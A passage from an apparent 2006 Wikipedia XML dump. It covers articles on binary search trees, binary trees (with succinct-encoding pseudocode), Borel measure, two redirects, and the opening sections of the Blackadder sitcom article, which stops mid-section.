* [[data structure]]
* [[Trie]]
* [[Hash table]]

== External links ==
*[http://www.goletas.com/solutions/collections/ Iterative Implementation of Binary Search Trees in C#]
*[http://cslibrary.stanford.edu/110/ An introduction to binary trees from Stanford]
*[http://www.bitesizeinc.net/power.programming.binary.tree.html Power Programming - Binary Tree]
*[http://www.nist.gov/dads/HTML/binarySearchTree.html Dictionary of Algorithms and Data Structures - Binary Search Tree]
*[http://aspn.activestate.com/ASPN/Cookbook/Python/Recipe/286239 Binary Search Tree Example in Python]

== References ==

* [[Donald Knuth|Donald Knuth]]. ''The Art of Computer Programming'', Volume 3: ''Sorting and Searching'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89685-0. Section 6.2.2: Binary Tree Searching, pp.426&amp;ndash;458.
* [[Thomas H. Cormen]], [[Charles E. Leiserson]], [[Ronald L. Rivest]], and [[Clifford Stein]]. ''[[Introduction to Algorithms]]'', Second Edition. MIT Press and McGraw-Hill, 2001. ISBN 0262032937. Chapter 12: Binary search trees, pp.253&amp;ndash;272. Section 15.5: Optimal binary search trees, pp.356&amp;ndash;363.

[[Category:Trees (structure)]]
[[Category:Sort algorithms]]

[[da:Binært søgetræ]]
[[de:Binärer Suchbaum]]
[[es:Árbol binario de búsqueda]]
[[fr:Arbre binaire de recherche]]
[[he:עץ חיפוש]]
[[ja:2分探索木]]
[[pl:Drzewo poszukiwań binarnych]]
[[pt:Árvore de busca binária]]
[[ru:Двоичное дерево поиска]]
[[uk:Бінарне дерево пошуку]]
[[zh:二元搜尋樹]]</text>
    </revision>
  </page>
  <page>
    <title>Binary tree</title>
    <id>4321</id>
    <revision>
      <id>41793611</id>
      <timestamp>2006-03-01T20:14:00Z</timestamp>
      <contributor>
        <username>Rspeer</username>
        <id>84458</id>
      </contributor>
      <comment>rv tests</comment>
      <text xml:space="preserve">In [[computer science]], a '''binary tree''' is a [[tree data structure|tree]] [[data structure]] in which each node has at most two [[child node|children]].  Typically the child nodes are called ''left'' and ''right''.  One common use of binary trees is [[binary search tree]]s; another is [[binary heap]]s.

[[Image:binary_tree.svg|right|192|thumb|A simple binary tree of size 9 and depth 3, with a root node whose value is 2]]

==Definitions for rooted trees==
A directed edge connects the [[Parent node|parent]] to the [[Child node|child]].

A node that has no children is called a [[Leaf node|leaf]].

The '''depth''' of a node n is the length of the path from the root to the node.  The set of all nodes at a given depth is sometimes called a '''level''' of the tree.

The '''height''' of a node n is the length of the path from the node n to its furthest leaf.

Nodes that share parents are called '''siblings'''.

If a path exists from node p to node q, then p is an '''ancestor''' of q and q is a '''descendant''' of p.

The '''size''' of a node is the number of descendants it has including itself.

==Types of binary trees==

A '''binary tree''' is a '''rooted''' [[Tree data structure|tree]] in which every node has at most two children.

A '''full binary tree''' is a tree in which every node has zero or two children.

A '''perfect binary tree''' is a complete binary tree in which all '''leaves''' (vertices with zero children) are at the same '''depth''' (distance from the '''root''', also called '''height'''). 

Sometimes the '''perfect binary tree''' is called the '''complete binary tree'''. Some others define a '''complete binary tree''' to be a full binary tree in which all leaves are at depth ''n'' or ''n-1'' for some ''n''. In order for a tree to be a complete binary tree, all the children on the last level must occupy the leftmost spots consecutively, with no spot left unoccupied in between any 2. For example, if 2 nodes on the bottomost level each occupy a spot with an empty spot between the 2 of them, but the rest of the children nodes are tightly wedged together with no spots in between, then the whole tree CANNOT be a binary tree due to the empty spot.

An '''almost complete binary tree''' is a tree in which for a right child, there is always a left child, but for a left child there may not be a right child.

==Definition in graph theory==

[[Graph theory|Graph theorists]] typically use the following definition: A binary tree is a [[connected graph|connected]] [[acyclic graph]] such that the degree of each [[vertex]] is no more than 3. It can be shown that in any binary tree, there are exactly two more nodes of degree one than there are of degree three, but there can be any number of nodes of degree two. A '''rooted binary tree''' is such a graph that has one of its vertices of degree no more than 2 singled out as the root.  

With the root thus chosen, each vertex will have a uniquely defined parent, and up to two children; however, so far there is insufficient information to distinguish a left or right child. If we drop the connectedness requirement, allowing multiple [[connected component (graph theory)|connected component]]s in the graph, we call such a structure a forest.

Another way of defining binary trees is a recursive definition on directed graphs. A binary tree is either:
* A single vertex.
* A graph formed by taking two binary trees, adding a vertex, and adding an edge directed from the new vertex to the root of each binary tree.
This also does not establish the order of children, but does fix a specific root node.

== Methods for storing binary trees ==

Binary trees can be constructed from [[programming language]] primitives in several ways. In a language with [[record (computer science)|record]]s and [[reference]]s, binary trees are typically constructed by having a tree node structure which contains some data and references to its left child and its right child. Sometimes it also contains a reference to its unique parent. If a node has fewer than two children, some of the child pointers may be set to a special null value, or to a special [[sentinel (computer science)|sentinel]] node.

Binary trees can also be stored as an [[implicit data structure]] in [[array]]s, and if the tree is a complete binary tree, this method wastes no space. In this compact arrangement, if a node has an index ''i'', its children are found at indices 2''i''+1 and 2''i''+2, while its parent (if any) is found at index ''floor((i-1)/2)'' (assuming the root has index zero). This method benefits from more compact storage and better [[locality of reference]], particularly during a preorder traversal. However, it requires contiguous memory, is expensive to grow, and wastes space proportional to 2&lt;sup&gt;''h''&lt;/sup&gt; - ''n'' for a tree of height ''h'' with ''n'' nodes.

&lt;center&gt;[[Image:Binary_tree_in_array.svg|300px|A small complete binary tree stored in an array]]&lt;/center&gt;

In languages with [[tagged union]]s such as [[ML programming language|ML]], a tree node is often a tagged union of two types of nodes, one of which is a 3-tuple of data, left child, and right child, and the other of which is a &quot;leaf&quot; node, which contains no data and functions much like the null value in a language with pointers.

== Methods of iterating over binary trees ==

Often, one wishes to visit each of the nodes in a tree and examine the value there. There are several common orders in which the nodes can be visited, and each has useful properties that are exploited in algorithms based on binary trees.

=== Pre-order, in-order, and post-order traversal ===
''Main article: [[Tree traversal]].''

Pre-order, in-order, and post-order traversal visit each node in a tree by recursively visiting each node in the left and right subtrees of the root. If the root node is visited before its subtrees, this is preorder; if after, postorder; if between, in-order. In-order traversal is useful in [[binary search tree]]s, where this traversal visits the nodes in increasing order.

=== Depth-first order ===

In depth-first order, we always attempt to visit the node farthest from the root that we can, but with the caveat that it must be a child of a node we have already visited. Unlike a depth-first search on graphs, there is no need to remember all the nodes we have visited, because a tree cannot contain cycles. Preorder, in-order, and postorder traversal are all special cases of this. See [[depth-first search]] for more information.

=== Breadth-first order ===

Contrasting with depth-first order is breadth-first order, which always attempts to visit the node closest to the root that it has not already visited. See [[Breadth-first search]] for more information.

== Encodings ==

=== Succinct encodings ===

A [[succinct data structure]] is one which takes the absolute minimum possible space, as established by [[information theory|information theoretical]] lower bounds. The number of different binary trees on &lt;math&gt;n&lt;/math&gt; nodes is &lt;math&gt;\mathrm{C}_{n}&lt;/math&gt;, the &lt;math&gt;n&lt;/math&gt;th [[Catalan number]] (assuming we view trees with identical ''structure'' as identical). For large &lt;math&gt;n&lt;/math&gt;, this is about &lt;math&gt;4^{n}&lt;/math&gt;; thus we need at least about &lt;math&gt;\log_{2}4^{n} = 2n&lt;/math&gt; bits to encode it. A succinct binary tree therefore would occupy only 2 bits per node.

One simple representation which meets this bound is to visit the nodes of the tree in preorder, outputting &quot;1&quot; for an internal node and &quot;0&quot; for a leaf (here, by a leaf, we mean the kind that contains no data). [http://theory.csail.mit.edu/classes/6.897/spring03/scribe_notes/L12/lecture12.pdf] If the tree contains data, we can simply simultaneously store it in a consecutive array in preorder. This function accomplishes this:

 '''function''' EncodeSuccinct(''node'' n, ''bitstring'' structure, ''array'' data) {
     '''if''' n = ''nil'' '''then'''
         append 0 to structure
     '''else'''
         append 1 to structure
         append n.data to data
         EncodeSuccinct(n.left, structure, data)
         EncodeSuccinct(n.right, structure, data)
 }

The string ''structure'' has only &lt;math&gt;2n + 1&lt;/math&gt; bits in the end, where &lt;math&gt;n&lt;/math&gt; is the number of (internal) nodes; we don't even have to store its length. To show that no information is lost, we can convert the output back to the original tree like this:

 '''function''' DecodeSuccinct(''bitstring'' structure, ''array'' data) {
     remove first bit of ''structure'' and put it in ''b''
     '''if''' b = 1 '''then'''
         create a new node ''n''
         remove first element of data and put it in n.data
         n.left = DecodeSuccinct(structure, data)
         n.right = DecodeSuccinct(structure, data)
         '''return''' n
     '''else'''
         '''return''' nil
 }

More sophisticated succinct representations allow not only compact storage of trees but even useful operations on those trees directly while they're still in their succinct form.

=== Encoding n-ary trees as binary trees ===

There is a one-to-one mapping between general ordered trees and binary trees, which in particular is used by [[Lisp programming language|Lisp]] to represent general ordered trees as binary trees.  Each node ''N'' in the ordered tree corresponds to a node ''N' '' in the binary tree; the ''left'' child of ''N' '' is the node corresponding to the first child of ''N'', and the ''right'' child of ''N' '' is the node corresponding to ''N'' 's next sibling --- that is,  the next node in order among the children of the parent of ''N''

One way of thinking about this is that each node's children are in a [[linked list]], chained together with their ''right'' fields, and the node only has a pointer to the beginning or head of this list, through its ''left'' field.

For example, in the tree on the left, A has the 6 children {B,C,D,E,F,G}.  It can be converted into the binary tree on the right.

&lt;center&gt;
[[Image:nary_to_binary_tree_conversion.png|An example of converting an n-ary tree to a binary tree]]
&lt;/center&gt;

The binary tree can be thought of as the original tree tilted sideways, with the black left edges representing ''first child'' and the blue right edges representing ''next sibling''.  The leaves of the tree on the left would be written in Lisp as:
:(((M N) H I) C D ((O) (P)) F (L))
which would be implemented in memory as the binary tree on the right, without any letters on those nodes that have a left child.

== References ==

* [[Donald Knuth|Donald Knuth]]. ''Fundamental Algorithms'', Third Edition. Addison-Wesley, 1997. ISBN 0-201-89683-4. Section 2.3, especially subsections 2.3.1&amp;ndash;2.3.2 (pp.318&amp;ndash;348).

== See also ==

* [[AVL tree]]
* [[B-tree]]
* [[Binary space partitioning]]
* [[Red-black tree]]

[[da:binært søgetræ]]
[[de:Binärbaum]]
[[es:Árbol binario]]
[[fr:Arbre binaire]]
[[he:עץ בינארי]]
[[ko:%EC%9D%B4%EC%A7%84_%ED%8A%B8%EB%A6%AC]]
[[pl:Drzewo binarne]]
[[sl:dvojiško drevo]]
[[fi:Binääripuu]]
[[sv:Binärträd]]
[[uk:Бінарне дерево]]
[[zh:二叉树]]

[[Category:Trees (structure)]]</text>
    </revision>
  </page>
  <page>
    <title>Borel measure</title>
    <id>4322</id>
    <revision>
      <id>29106492</id>
      <timestamp>2005-11-24T03:18:17Z</timestamp>
      <contributor>
        <username>TakuyaMurata</username>
        <id>6707</id>
      </contributor>
      <minor />
      <comment>See also: [[Borel set]]</comment>
      <text xml:space="preserve">In [[mathematics]], the [[borel algebra|Borel algebra]] is the smallest [[sigma-algebra|&amp;sigma;-algebra]] on the [[real number]]s '''R''' containing the
[[interval (mathematics)|intervals]], and the '''Borel measure''' is the [[measure (mathematics)|measure]] on this &amp;sigma;-algebra which gives to the interval [''a'', ''b''] the measure ''b'' &amp;minus; ''a'' (where ''a'' &lt; ''b'').

The Borel measure is not [[complete measure|complete]], which is why in practice the complete [[Lebesgue measure]] is preferred: every Borel measurable set is also Lebesgue measurable, and the measures of the set agree.

In a more general (abstract) measure-theoretic context, Let E be a [[Hausdorff_space|Hausdorff space]].  A measure &amp;mu; on the &amp;sigma;-algebra &lt;math&gt;\mathfrak{B}(E) &lt;/math&gt; (the [[Borel_algebra|Borel &amp;sigma;-algebra]] on E) is '''Borel''' iff &lt;math&gt;\mu(K) &lt; +\infty&lt;/math&gt; for all &lt;math&gt;K \subset E&lt;/math&gt; compact.

See also: [[Borel set]]

[[Category:Measure theory]]
[[de:Borel-Maß]]
[[fr:Mesure de Borel]]
[[zh:Borel測度]]</text>
    </revision>
  </page>
  <page>
    <title>Battle Creek</title>
    <id>4323</id>
    <revision>
      <id>15902599</id>
      <timestamp>2002-05-04T09:11:57Z</timestamp>
      <contributor>
        <ip>64.26.98.90</ip>
      </contributor>
      <comment>*redirect</comment>
      <text xml:space="preserve">#REDIRECT [[Battle Creek, Michigan]]</text>
    </revision>
  </page>
  <page>
    <title>Banach-Tarski Paradox</title>
    <id>4324</id>
    <revision>
      <id>35262712</id>
      <timestamp>2006-01-15T11:54:47Z</timestamp>
      <contributor>
        <username>Dbenbenn</username>
        <id>38020</id>
      </contributor>
      <comment>#redirect [[Banach-Tarski paradox]]</comment>
      <text xml:space="preserve">#redirect [[Banach-Tarski paradox]]</text>
    </revision>
  </page>
  <page>
    <title>Blackadder</title>
    <id>4326</id>
    <revision>
      <id>42151163</id>
      <timestamp>2006-03-04T03:54:07Z</timestamp>
      <contributor>
        <ip>147.69.51.30</ip>
      </contributor>
      <comment>/* Cast */</comment>
      <text xml:space="preserve">{{otheruses}}
{{infobox television |
  | show_name = Blackadder
  | image = [[Image:Blackadder.jpg|200px|center|]]
  | caption = Left to right: Tony Robinson, Rowan Atkinson and Tim McInnerny in ''Blackadder II''
  | format = [[Comedy]]
  | runtime = 30 minutes
  | creator = [[Richard Curtis]] &amp; [[Rowan Atkinson]]
  | writers = Richard Curtis &amp; [[Rowan Atkinson]] (series 1)&lt;br&gt;Richard Curtis &amp; Ben Elton (series 2-)
  | starring  = [[Rowan Atkinson]]&lt;br&gt;[[Tony Robinson]]&lt;br&gt;[[Tim McInnerny]]&lt;br&gt;[[Hugh Laurie]]&lt;br&gt;[[Brian Blessed]]&lt;br&gt;[[Miranda Richardson]]&lt;br&gt;[[Stephen Fry]]&lt;br&gt;[[Gabrielle Glaister]]&lt;br&gt;[[Patsy Byrne]]&lt;br&gt;[[Rik Mayall]]&lt;br&gt;[[Helen Atkinson-Wood]]
  | country = [[United Kingdom]]
  | network = [[BBC]]
  | first_aired = 1983
  | last_aired = 1989
  | num_episodes = [[List of Blackadder episodes|24]]
|}}
'''''Blackadder''''' is the generic name that encompasses four series of an acclaimed [[BBC]] historical [[British sitcom|sitcom]], along with several one-off instalments. The first series was written by [[Richard Curtis]] and [[Rowan Atkinson]], while subsequent episodes were written by Curtis and [[Ben Elton]]. The shows were produced by [[John Lloyd (writer)|John Lloyd]], and starred Rowan Atkinson as the [[eponym|eponymous]] [[anti-hero]], [[Edmund Blackadder]], and [[Tony Robinson]] as his [[sidekick]], [[Baldrick]].

Each series was set in a different period of [[history of Britain|British history]], and comprised six half-hour episodes. The first series, made in 1983, was called ''The Black Adder''. This was followed by ''Blackadder II'' in 1986, ''Blackadder the Third'' in 1987, and finally ''Blackadder Goes Forth'' in 1989. In addition to these, three specials were also made: &quot;Blackadder: The [[cavaliers|Cavalier]] Years&quot; appeared as a 15-minute insert during the 1988 [[Comic Relief]] telethon; ''[[Blackadder's Christmas Carol]]'' was a 45-minute [[Christmas]] instalment, broadcast the same year; and ''[[Blackadder: Back &amp; Forth]]'' was a 30-minute [[film]] originally shown in a special [[movie theater|cinema]] at the [[Millennium Dome]] throughout 2000, and later transmitted by [[British Sky Broadcasting|Sky]] and the BBC. A [[pilot episode]] was filmed in 1982, but has never been shown on television.

In January 2005, Tony Robinson told [[ITV]]'s ''[[This Morning]]'' that [[Rowan Atkinson]] is more keen than he has been in the past to do a fifth series, set in the 1960s (centered around a rock band called the &quot;Black Adder Five&quot;, with [[Baldrick]] &amp;mdash; aka 'Bald Rick' &amp;mdash; as the drummer). However, although the BBC stated that there were no plans for a comeback, [http://news.bbc.co.uk/1/hi/magazine/4606743.stm this article] might confirm a new series for 2006.

Furthermore, in November 2005, Rowan Atkinson told BBC Breakfast News that although he would very much like to do a new series set in [[Colditz]] or another prisoner-of-war camp during [[World War Two]], the chances of it happening are extremely low.

In the 2004 TV poll to find &quot;[[Britain's Best Sitcom]]&quot;, Blackadder was voted the second best British sitcom of all time, beaten only by ''[[Only Fools and Horses]]''.

==''Blackadder '' overview==
{{spoiler}}

===Developments over the series===
It is implied in each series that the Blackadder character is a distant descendant of the previous one. With each observed generation, his [[social class|social standing]] is reduced, from [[prince]], to [[nobleman]], to royal [[butler]], to army [[captain]] and by the end, in the final episode of ''Blackadder Goes Forth'', nothing more than [[cannon-fodder]]. However, he concurrently goes from being an incompetent fool (in the first series), to an ever more devious strategist in matters that affect him.

The [[Macbeth]]-inspired witches, in &quot;The Foretelling&quot; (1.1) (thinking he is someone else), promise that one day Blackadder will be [[Monarch|King]] and, in &quot;Bells&quot; (2.1), the 'wise woman' says &quot;thou plottest Edmund: thou wouldst be King!&quot;

In the first series, Edmund does become King for less than a minute, but then dies after succumbing to some poisoned wine (a fact alluded to in a song in ''Blackadder II'', whose lyrics include &quot;His great-grandfather was a king/Although for only thirty seconds&quot;). In the second series, Blackadder comes very close to marrying [[Elizabeth I of England|Elizabeth I]] but fails. At the end of ''Blackadder the Third'', the character assumes the role of [[Prince Regent]] after the real prince is killed in a duel with the [[Arthur Wellesley, 1st Duke of Wellington|Duke of Wellington]], and (presumably, though not definitely) goes on to assume the identity of [[George IV of the United Kingdom|George IV]].

After the continual decline in status through the series, Blackadder, or at least the descendant of the original, finally becomes King in ''Blackadder: Back &amp; Forth'' through manipulation of the timeline. A [[Admiral|Grand Admiral]] Blackadder of the far future is also seen in the Christmas special, and his status further rises when he manages to achieve control of the entire universe upon marrying Queen Asphyxia XIX.

====Comparison between Baldrick and Blackadder====
It is also noticeable that, as Blackadder becomes more cunning, so Baldrick develops into a dimwit. It is clear that in the first series, the latter is smarter than his superior, saving the day on several occasions. However, in later instalments, this situation is reversed: e.g., in &quot;Captain Cook&quot; (4.1), Baldrick scratches his name on a bullet, because &quot;somewhere there's a bullet with your name on it&quot; &amp;mdash; and if he owns it, then he cannot be shot by it.

===Similarities over the series===
Each series tended to feature the same set of actors in different period settings. [[Stephen Fry]] played the mild-mannered [[Melchett#Lord Melchett|Lord Melchett]], an advisor to Queen Elizabeth I in the second series, The Duke of Wellington in the final episode of the third series and [[Melchett#General Sir Anthony Cecil Hogmanay Melchett|General Melchett]], a blustering buffoon, in the fourth. [[Tim McInnerny]] played [[Lord Percy Percy]] in the first and second series, [[The Scarlet Pimpernel]] (for one episode) in the third and [[Kevin Darling]] in both the fourth series and ''Blackadder Back and Forth''. [[Hugh Laurie]] plays Simon Partridge in episode five and Prince Ludwig the Indestructible in the final instalment of ''Blackadder II'', a foppish Prince George in ''Blackadder the Third'' and the idiotic Lieutenant George in ''Blackadder Goes Forth''. [[Rik Mayall]] plays 'Mad Gerald' in the first series and the dashing [[Lord Flashheart]], a vulgar yet successful rival of Blackadder in both the second and fourth series; he also plays a decidedly Flashheart-like [[Robin Hood]] in ''Back and Forth''. [[Gabrielle Glaister]] plays an attractive girl who poses as a man and calls herself [[Bob (Blackadder character)|Bob]], before revealing her true gender and becoming romantically involved with Flashheart, in both the second and fourth series.

The [[Howard Goodall]] [[theme tune]] has the same [[melody]] throughout, but is played in roughly the style of the period in which it is set (mostly with [[trumpet]]s in ''The Black Adder''; with a combination of [[flute]], [[string quartet]] and [[electric guitar]] in ''Blackadder II''; on [[harpsichord]] for ''Blackadder the Third''; by a [[military band]] in ''Blackadder Goes Forth''; sung by [[Carol (music)|carol singers]] in ''Blackadder's Christmas Carol''; and by an [[orchestra]] in ''Blackadder: The Cavalier Years'' and ''Blackadder: Back &amp; Forth''.

===Popularity and effects on popular culture===
After the first series &amp;mdash; which had enjoyed a considerable budget for a sitcom, and had been shot largely on location &amp;mdash; the BBC decided not to take up the option of a follow-up. However, in 1984 [[Michael Grade]] took over as the controller of [[BBC One]] and, after talks with the ''Blackadder'' team, finally agreed that a second series could be made as long as the cost was dramatically cut. ''Blackadder II'' was therefore to be a studio-only production, with Ben Elton joining the writing team. Besides adding more jokes, Elton suggested a major change in character emphasis: Baldrick would become the stupid sidekick, while Edmund Blackadder evolved into the fast-talking intellectual. This led to the now familiar set-up that was maintained over all the following series.  

While each episode was plot-driven, they were still formulaic to a degree. For example, whenever Blackadder found himself in a difficult situation (as was the case most of the time), Baldrick would invariably suggest a solution, starting with the words, &quot;I have a cunning plan&quot;.  This became the character's [[catch phrase]] and, while his ideas were usually totally unhelpful, he would sometimes come up with a scheme that went towards saving the day.

Also, ''Blackadder'' popularised the use of exaggerated simile and similar devices for comic effect in Britain. Examples include:
* &quot;Madder than Mad Jack McMad, winner of last year's Mr. Madman competition.&quot;
* &quot;I've got a plan so cunning, you could stick a tail on it and call it a weasel.&quot; or &quot;As cunning as a fox who's just been appointed Professor of Cunning at [[University of Oxford|Oxford University]].&quot;
* &quot;I'm as happy as a Frenchman who's just invented a pair of self-removing trousers.&quot;
* &quot;I'm as weary as a dog with no legs that's just climbed [[Ben Nevis]].&quot;
* &quot;We're in the stickiest situation since Sticky the stick insect got stuck on a sticky bun.&quot;
* &quot;Smarter than a brain pie.&quot;
* &quot;Thicker than a whale omelette.&quot;
* [''on the theatre''] &quot;A bunch of stupid actors running around with their chests thrust out so far you'd think their nipples were attached to a pair of charging elephants.&quot;
* &quot;Baldrick, eternal torment in the company of Beelzebub and all his hellish companions will be a picnic compared to five minutes with me... and this pencil.&quot;
* &quot;You, are as thick as clotted cream which has been left to stand until it has enough clots to ruin an electronic de-clotting machine.&quot;

It also turned the implied wit of wordplay on its head for humorous effect:
* &quot;Blackadder... You twist and turn like a twisty, turny thing.&quot;
* &quot;The grave opens up before me like a big hole in the ground.&quot;
* &quot;Disease and deprivation stalk our land, like two giant stalking things.&quot;
* &quot;We're as similar as two completely dissimilar things in a pod.&quot;
* &quot;Better a ''lapdog'' to a ''slip of a girl'' than a ... git!&quot;
* &quot;I'd rather be a ''quack'' than a ''duckie'' &amp;mdash; good day.&quot; (Note : this implies the following &amp;mdash; quack as in fake doctor, and duckie as in homosexual. See the episode for a better understanding)

==The series and specials==
{{seealso|List of Blackadder episodes}}
===Chronological order===
*''[[#Series 1: The Black Adder|The Black Adder]]''
*''[[#Series 2: Blackadder II|Blackadder II]]''
*''[[#&quot;Blackadder: The Cavalier Years&quot;|Blackadder: The Cavalier Years]]''
*''[[#&quot;Blackadder and the King's Birthday&quot;|Blackadder and the King's Birthday]]''
*''[[#Series 3: Blackadder the Third|Blackadder the Third]]''
*''[[#&quot;Blackadder's Christmas Carol&quot;|Blackadder's Christmas Carol]]''
*''[[#Series 4: Blackadder Goes Forth|Blackadder Goes Forth]]''
*''[[#.22Blackadder: Back .26 Forth.22|Blackadder: Back &amp; Forth]]''
*''[[#.22Blackadder: The Army Years.22|Blackadder: The Army Years]]''

{{spoiler}}

===Series 1: ''The Black Adder''===
:See also: [[List of Blackadder episodes#Series 1: The Black Adder (1983)|List of episodes in ''The Black Adder'']]  
Set in the [[Middle Ages]], this series is written as a [[secret history]]. It opens with the [[Battle of Bosworth Field]] (1485) being won by [[Richard III of England|Richard III]] (played by [[Peter Cook]] as being a rather nice man who doted on his nephews, contrary to the traditional view of him as a hunchbacked, infanticidal monster), instead of [[Henry VII of England|Henry Tudor]] who won in reality. After his victory, Richard III is then accidentally killed by [[Prince Edmund (Blackadder)|Lord Edmund Plantagenet]] (Richard tries to borrow Blackadder's horse, but Edmund thinks he is stealing it and cuts his head off). The late King's nephew, [[King Richard IV of England|Richard, Duke of York]] (played by [[Brian Blessed]]) who is Lord Edmund Plantagenet's (The Black Adder) father, is then crowned as Richard IV. Lord Edmund never took part in the battle (he arrived late and went the wrong way, but claimed to have killed four hundred and fifty peasants and several nobles, one of whom had actually been killed by his brother in the battle). This logical but very silly historical premise, combined with interwoven bits of Shakespeare, lends real intellectual delight and challenge to the humor.

Richard, Duke of York (one of the '[[Princes in the Tower]]') was in reality only 12 years old (and perhaps two years dead) when the [[Battle of Bosworth Field]] took place in 1485, and so far too young to have had two grown up sons. This and other historical discrepancies don't detract from the comedy, though.

The series follows the fictitious reign of Richard IV (1485&amp;ndash;98). Richard and his Queen [[Gertrude of Flanders]], the [[Witch]] [[Queen consort|Queen]] have two sons:     
* [[Harry, Prince of Wales (Blackadder)|Harry, Prince of Wales]], Captain of the Guard, Grand Warden of the Northern and Eastern Marches, Chief [[Lunatic]] of the [[Duke of Gloucester|Duchy of Gloucester]], [[Viceroy]] of [[Wales]], [[Sheriff of Nottingham]], [[Marquess]] of the [[Midlands]], [[Lord]] Hoe-Maker Extraordinary, Harbinger of the Doomed [[Rat]] (1460–98)
* [[Prince Edmund (Blackadder)|Prince Edmund]], &quot;the [[Black]] [[Adder]]&quot;, [[Duke of Edinburgh]], Lord Warden of the Royal Privies, the Laird of [[Roxburgh]], [[Selkirk]], and [[Peebles]], [[Archbishop of Canterbury]] (1461&amp;ndash;98)    
     
It is later revealed in the episode &quot;Born to be King&quot; that after Harry's birth and before Edmund's, Queen Gertrude had an affair with Donald McAngus, Third [[Duke of Argyll]]. There is a possibility that Edmund was this affair's result. If so, then Edmund is Harry's half-brother and also has another half-brother:    
*[[Dougal McAngus]], Fourth [[Duke of Argyll]], Supreme Commander of the King's Army (c. 1462&amp;ndash;87).    
 
By the end of the series, events converge with our timeline, when King Richard IV and his entire family are poisoned, allowing Henry Tudor to take the throne as [[Henry VII of England|King Henry VII]]. He then proceeds to rewrite history, presenting Richard III as a monster, and eliminating Richard IV's reign from the history books.  

In this series, the character of the Black Adder is somewhat different from later incarnations, being largely unintelligent and snivelling. The title of Laird of Roxburgh, Selkirk and Peebles may have been inspired by the then leader of the [[Liberal Party (UK)|Liberal Party]], [[David Steel]], who was [[Member of Parliament|MP]] for [[Roxburghshire (UK Parliament constituency)|that constituency]] when the series was written.

The character does evolve through the series, however, and he begins showing signs of what his descendants will be like by the final episode, where he begins insulting everyone around him and making his own plans. This evolution follows naturally from the character's situation.  &quot;The Black Adder&quot; is the title that Edmund adopts during the first episode (after first considering &quot;The Black Vegetable&quot;). Presumably one of his descendants adopted it as a surname prior to ''Blackadder II'', where the title character becomes &quot;Edmund Blackadder&quot;.  Edmund's father the king can never remember his name at all (usually he forgets that he even has a second son), calling him &quot;Edwin&quot;, &quot;Edward&quot;, &quot;Enid&quot;, &quot;Osmond&quot; or &quot;Edna&quot;. In the last moment before Edmund's death in the final episode, his father finally addresses him correctly and Edmund thanks him tearfully, asking to be remembered as Edmund the Black Adder.  His father, mishearing him, says &quot;Oh, I'm sorry, Edgar.  Let the name Edgar, The Black Dagger, live forever!&quot;

It is therefore interesting to note that the unaired pilot episode, covering the basic plot of &quot;Born to be King&quot;, has some differences to the first series. Baldrick was played by [[Philip Fox (actor)|Philip Fox]], who was replaced by Tony Robinson. The King is played by [[John Savident]] (famous for playing [[Fred Elliot]] in the TV [[soap opera|soap]] ''[[Coronation Street]]''), while [[Lord Percy Percy|Percy]] was still played by [[Tim McInnerny]]. Rowan Atkinson speaks, dresses and generally looks and acts like the later Blackadder descendants of the second series onwards, but no reason is given as to why he changed to a snivelling wretch in the first series. One assumes that the change was driven by the writing, which wouldn't have worked with a swaggering character in the lead.

Richard Curtis admitted in a 2004 [[documentary film|documentary]] on the show that just before filming began, producer John Lloyd came up to him with Atkinson and asked what Edmund's character was. Curtis then realised that, despite writing some funny lines, he had no idea how Rowan Atkinson was supposed to play his part. This is typical of the slighting and dismissive remarks Curtis makes about this first series. One supposes that Atkinson, who co-wrote this series but not the later ones, came up with his characterization himself.  

The opening titles consisted of several stock shots of Edmund riding his horse on location, interspersed with different shots of him doing various silly things (and, usually, a shot of King Richard IV to go with Brian Blessed's credit). The closing titles were the same sequence of Edmund riding around, eventually falling off his horse, and then chasing after it. The [http://www.howardgoodall.co.uk/tvthemes/Blackadder.htm theme tune] also gained lyrics:

:''The sound of hoofbeats 'cross the glade,''
:''Good folk, lock up your son and daughter,''
:''Beware the deadly flashing blade,''
:''Unless you want to end up shorter.''
     
:''Black Adder, Black Adder, he rides a pitch black steed.''
:''Black Adder, Black Adder, he's very bad indeed.''
 
:''Black: his gloves of finest mole,''
:''Black: his [[codpiece]] made of metal,''
:''His horse is blacker than a vole,''
:''His pot is blacker than his kettle.''
 
:''Black Adder, Black Adder, with many a cunning plan.''
:''Black Adder, Black Adder, you horrid little man.''

===Series 2: ''Blackadder II''===
:See also: [[List of Blackadder episodes#Series 2: Blackadder II (1986)|List of episodes in ''Blackadder II'']]

''Blackadder II'' is set in England during the reign of [[Elizabeth I of England|Queen Elizabeth I]] ([[1558]]&amp;ndash;[[1603]]). The principal character is [[Lord Blackadder|Edmund, Lord Blackadder]], a [[Kinship and descent|descendant]] of the original Black Adder. During the series, he often comes into contact with the [[Queenie|Queen]], her Lord Chamberlain [[Melchett|Lord Melchett]] and her former nanny [[Nursie]].

Following the BBC's request for improvements to be made to the show, several changes were made. The second series was the first to establish the familiar character of Blackadder: cunning, shrewd and witty, in sharp contrast with [[Prince Edmund (Blackadder)|Prince Edmund]] of the first series. To make the show more cost effective, it was also shot with far fewer outdoor scenes than the first series and several, frequently used, indoor scenes, such as the Queen's [[throne room]] and Blackadder's front room. Each episode in the series also features another unique location, from [[Bob (Blackadder character)|Bob]]'s father's front room to a [[Spain|Spanish]] [[dungeon]].

The opening titles are played to a version of the theme on an Elizabethan wind instrument and an electric guitar, over shots of a black [[adder]] slithering about on a [[checkerboard]] surface. The snake is eventually removed and replaced with something to do with the title of the episode, which in this series was always a single noun. The opening ominous violin music and initial shots are a parody of the opening credits of the 1975 BBC television adaptation of [[Robert Graves]]' ''[[I, Claudius]]''. 
 
The closing titles use a different arrangement of the theme on various instruments, with lyrics reflecting the storyline of the episode, over a shot of Blackadder walking through a palace garden and being annoyed by a high-pitched [[minstrel]]. As each episode elapses, this sequence becomes a mini-series in its own right in which Blackadder constantly tries to apprehend the musician. At the end of the final episode, Blackadder catches the minstrel and dunks him into a fountain numerous times.

===Series 3: ''Blackadder the Third''===
:See also: [[List of Blackadder episodes#Series 3: Blackadder the Third (1987)|List of episodes in ''Blackadder the Third'']]
''Blackadder The Third'' is set in the late 18th and early 19th centuries, a period known as the [[English Regency|Regency]]. For much of this period, [[George III of the United Kingdom|King George III]] was incapacitated due to poor mental health, and his son George, the [[Prince of Wales]], acted as [[regent]]. From 1811 until his father's death in 1820, he was known as &quot;the [[Prince Regent]]&quot;.

